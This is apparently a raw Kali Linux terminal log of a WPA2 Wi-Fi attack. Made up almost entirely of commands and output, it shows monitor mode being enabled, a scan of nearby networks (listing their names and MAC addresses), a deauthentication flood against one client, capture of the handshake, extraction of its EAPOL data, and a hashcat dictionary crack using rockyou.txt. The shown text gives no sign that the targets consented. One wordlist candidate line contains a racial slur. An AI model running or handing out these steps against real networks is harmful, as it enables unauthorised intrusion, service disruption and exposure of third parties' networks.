

```
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 192.168.1.100 netmask 255.255.255.0 broadcast 192.168.1.255
        inet6 fe80::d658:c1ab:35fd:663f prefixlen 64 scopeid 0x20<link>
          ether 00:e0:20:2c:6e:c9 txqueuelen 1000 (Ethernet)
            RX packets 6 bytes 1546 (1.5 KiB)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 21 bytes 2502 (2.4 KiB)
            TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
└─(cwe㉿kali)-[~]
$ iw list | grep -A 10 "Supported interface modes"
Supported interface modes:
    * managed
    * AP
    * AP/VLAN
    * monitor
Band 1:
    Capabilities: 0x6c
        HT20
        SM Power Save disabled
        RX HT20 SGI
        RX HT40 SGI
```

```
└─(cwe㉿kali)-[~]
$ sudo airmon-ng start wlan0

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

      PID Name
      771 NetworkManager
    17677 wpa_supplicant

      PHY     Interface      Driver      Chipset
phy1      wlan0          rtl8xxxu    Realtek Semiconductor Corp. RTL8188FTV 802.11b/g/n 1T1R 2.
4G WLAN Adapter
              (mac80211 monitor mode vif enabled for [phy1]wlan0 on [phy1]wlan0mon)
              (mac80211 station mode vif disabled for [phy1]wlan0)
```

CH 6 ][ Elapsed: 2 mins ][ 2025-11-05 12:53											
BSSID		PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID	
20:0C:86:67:E0:39	-77	7	0 0	6 130	WPA2 CCMP	PSK	Airtel_rahu_8267				
78:17:35:C7:56:39	-80	33	1 0	10 130	WPA2 CCMP	PSK	Saraf				
A8:88:1F:81:E8:40	-80	45	0 0	1 130	WPA2 CCMP	PSK	JioFiber-6xMch				
C0:25:2F:72:06:30	-44	463	19 0	3 270	WPA2 CCMP	PSK	MERCUSYS_0630				
BSSID		STATION		PWR	Rate	Lost	Frames	Notes	Probes		
78:17:35:C7:56:39	A4:55:90:3C:81:1C	-1	1e- 0	0	1						
A8:88:1F:81:E8:40	AA:7C:69:D9:AF:43	-79	0 - 1e	0	62						
A8:88:1F:81:E8:40	D0:39:57:B7:0D:3D	-47	0 - 6	81	110						
C0:25:2F:72:06:30	2E:1E:B1:8B:8D:53	-67	1e- 1	0	149						JioFiber-6xMch, Chahat'

```
(cwe㉿kali)-[~]
$ sudo aireplay-ng --deauth 10 -a C0:25:2F:72:06:30 -c 2E:1E:B1:8B:8D:53 wlan0mon
13:06:23 Waiting for beacon frame (BSSID: C0:25:2F:72:06:30) on channel 3
13:06:23 Sending 64 directed DeAuth (code 7). STMAC: [2E:1E:B1:8B:8D:53] [64|67 ACKs]
13:06:24 Sending 64 directed DeAuth (code 7). STMAC: [2E:1E:B1:8B:8D:53] [64|65 ACKs]
13:06:24 Sending 64 directed DeAuth (code 7). STMAC: [2E:1E:B1:8B:8D:53] [47|65 ACKs]
13:06:25 Sending 64 directed DeAuth (code 7). STMAC: [2E:1E:B1:8B:8D:53] [12|62 ACKs]
13:06:25 Sending 64 directed DeAuth (code 7). STMAC: [2E:1E:B1:8B:8D:53] [ 0|65 ACKs]
13:06:26 Sending 64 directed DeAuth (code 7). STMAC: [2E:1E:B1:8B:8D:53] [ 0|61 ACKs]
13:06:26 Sending 64 directed DeAuth (code 7). STMAC: [2E:1E:B1:8B:8D:53] [ 0|64 ACKs]
13:06:27 Sending 64 directed DeAuth (code 7). STMAC: [2E:1E:B1:8B:8D:53] [ 0|67 ACKs]
13:06:27 Sending 64 directed DeAuth (code 7). STMAC: [2E:1E:B1:8B:8D:53] [ 0|65 ACKs]
13:06:28 Sending 64 directed DeAuth (code 7). STMAC: [2E:1E:B1:8B:8D:53] [ 0|63 ACKs]
```

CH 3 ][ Elapsed: 2 mins ][ 2025-11-05 13:08 ][ WPA handshake: C0:25:2F:72:06:30										
BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
C0:25:2F:72:06:30	-39	93	1104	33 0	3	270	WPA2	CCMP	PSK	MERCUSYS_0630
BSSID	STATION			PWR	Rate	Lost	Frames	Notes	Probes	
C0:25:2F:72:06:30	2E:1E:B1:8B:8D:53	-57	1e-	1e	0	1658	EAPOL			

```
(cwe㉿kali)-[~]
$ aircrack-ng capture-01.cap
Reading packets, please wait ...
Opening capture-01.cap
Resetting EAPOL Handshake decoder state.
Read 30508 packets.

# BSSID                      ESSID                         Encryption
1 C0:25:2F:72:06:30  MERCUSYS_0630                    WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait ...
Opening capture-01.cap
Resetting EAPOL Handshake decoder state.
Read 30508 packets.

1 potential targets

Please specify a dictionary (option -w).
```

eapol						
No.	Time	Source	Destination	Protocol	Length	Info
4364	106.743496	MercuryCommu_72:06:... 2e:1e:b1:8b:8d:53		EAPOL	133	Key (Message 1 of 4)
4366	106.746554	2e:1e:b1:8b:8d:53	MercuryCommu_72:06:... 2e:1e:b1:8b:8d:53	EAPOL	155	Key (Message 2 of 4)
4368	106.750287	MercuryCommu_72:06:... 2e:1e:b1:8b:8d:53		EAPOL	189	Key (Message 3 of 4)
4370	106.753892	2e:1e:b1:8b:8d:53	MercuryCommu_72:06:... 2e:1e:b1:8b:8d:53	EAPOL	133	Key (Message 4 of 4)

wlan.fc.type == 2 & wlan.fc.subtype == 0						
No.	Time	Source	Destination	Protocol	Length	Info
3132	59.493310	MercuryCommu_72:06...	IPv4mcast_7f:ff:fa	802.11	407	Data, SN=323, FN=0, Flags=.p....F.
3133	59.500777	MercuryCommu_72:06...	IPv4mcast_7f:ff:fa	802.11	403	Data, SN=325, FN=0, Flags=.p....F.
3310	71.156675	MercuryCommu_72:06...	Broadcast	802.11	76	Data, SN=326, FN=0, Flags=.p....F.
3333	72.180556	MercuryCommu_72:06...	Broadcast	802.11	76	Data, SN=327, FN=0, Flags=.p....F.
3347	73.204479	MercuryCommu_72:06...	Broadcast	802.11	76	Data, SN=328, FN=0, Flags=.p....F.
3612	85.185378	MercuryCommu_72:06...	Broadcast	802.11	76	Data, SN=329, FN=0, Flags=.p....F.
3913	97.165941	MercuryCommu_72:06...	Broadcast	802.11	76	Data, SN=330, FN=0, Flags=.p....F.
19339	160.321199	MercuryCommu_72:06...	IPv4mcast_7f:ff:fa	802.11	343	Data, SN=331, FN=0, Flags=.p....F.
19340	160.324371	MercuryCommu_72:06...	IPv4mcast_7f:ff:fa	802.11	355	Data, SN=332, FN=0, Flags=.p....F.
19341	160.328087	MercuryCommu_72:06...	IPv4mcast_7f:ff:fa	802.11	415	Data, SN=333, FN=0, Flags=.p....F.
19342	160.331147	MercuryCommu_72:06...	IPv4mcast_7f:ff:fa	802.11	331	Data, SN=334, FN=0, Flags=.p....F.
19343	160.334346	MercuryCommu_72:06...	IPv4mcast_7f:ff:fa	802.11	379	Data, SN=335, FN=0, Flags=.p....F.

```
[*] ESSID (length: 13): MERCUSYS_0630
[*] Key version: 2
[*] BSSID: C0:25:2F:72:06:30
[*] STA: 2E:1E:B1:8B:8D:53
[*] anonce:
  4F 1C C5 29 45 7F 2F A5 15 BC 3A EF DC 4D 2C 95
  BF C3 11 00 36 2D 3E A9 49 1F E7 9B A2 86 EB 08
[*] snonce:
  2B 57 B3 F4 67 1A 01 27 F2 92 43 5D 63 7B 82 D8
  1E 28 EC CE 52 76 A2 61 42 76 8E 43 AB 71 4F A6
[*] Key MIC:
  6E 1A 0B 19 3C FD 4E 05 55 F5 28 80 75 C1 7A C7
[*] eapol:
  01 03 00 75 02 01 0A 00 00 00 00 00 00 00 00 00 00 00
  02 2B 57 B3 F4 67 1A 01 27 F2 92 43 5D 63 7B 82
  D8 1E 28 EC CE 52 76 A2 61 42 76 8E 43 AB 71 4F
  A6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  00 00 16 30 14 01 00 00 0F AC 04 01 00 00 00 0F AC
  04 01 00 00 0F AC 02 80 00
```

```
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s

Session.....: hashcat
Status.....: Running
Hash.Mode....: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target...: capture-01.22000
Time.Started...: Wed Nov  5 14:47:57 2025 (45 secs)
Time.Estimated ...: Wed Nov  5 15:26:19 2025 (37 mins, 37 secs)
Kernel.Feature ...: Pure Kernel (password length 8-63 bytes)
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt.gz)
Guess.Queue.....: 1/1 (100.00%)
Speed.#01.....: 6084 H/s (12.35ms) @ Accel:84 Loops:1024 Thr:1 Vec:8
Recovered.....: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.....: 607910/14344385 (4.24%)
Rejected.....: 338438/607910 (55.67%)
Restore.Point...: 607522/14344385 (4.24%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01 ...: noch1876 → nigger56
Hardware.Mon.#01.: Temp: 76c Util: 93%
```

